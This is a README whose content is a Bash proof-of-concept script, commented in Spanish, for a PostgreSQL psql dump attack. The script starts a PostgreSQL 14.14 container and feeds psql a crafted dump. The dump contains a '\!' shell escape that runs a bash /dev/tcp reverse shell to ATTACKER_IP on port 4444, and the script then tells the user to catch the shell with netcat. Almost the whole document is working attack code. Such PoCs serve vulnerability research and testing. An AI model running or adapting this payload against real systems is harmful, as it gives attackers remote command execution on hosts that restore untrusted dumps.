README.md
Rendering markdown...
#!/bin/bash
set -euo pipefail
ATTACKER_IP="ip-atacante" # Cambia por tu IP donde tienes el listener nc abierto
LISTENER_PORT=4444 # Puerto donde escuchas la reverse shell
POSTGRES_VERSION="postgres:14.14"
CONTAINER_NAME="pg_rce"
function cleanup() {
echo "[*] Limpiando..."
docker rm -f "$CONTAINER_NAME" &>/dev/null || true
}
trap cleanup EXIT
##############################
# 1. Crear dump con payload reverse shell en memoria (sin archivo)
##############################
generate_payload() {
cat <<EOF
SELECT current_date;
\\! bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$LISTENER_PORT 0>&1'
EOF
}
##############################
# 2. Levantar contenedor PostgreSQL vulnerable
##############################
echo "[*] Levantando contenedor PostgreSQL $POSTGRES_VERSION..."
cleanup
docker run -d --name "$CONTAINER_NAME" -e POSTGRES_PASSWORD=postgres -p 5432:5432 "$POSTGRES_VERSION"
echo "[*] Esperando a que el contenedor PostgreSQL arranque..."
sleep 10
##############################
# 3. Ejecutar dump en contenedor vía psql con payload
##############################
echo "[*] Ejecutando payload reverse shell en contenedor víctima..."
docker exec -i "$CONTAINER_NAME" psql -U postgres -v ON_ERROR_STOP=1 <<< "$(generate_payload)"
echo "[*] Payload ejecutado. Abre tu listener netcat manualmente para recibir la shell reversa:"
echo " nc -lvnp $LISTENER_PORT"
echo "[*] PoC finalizado. Limpieza automática al salir."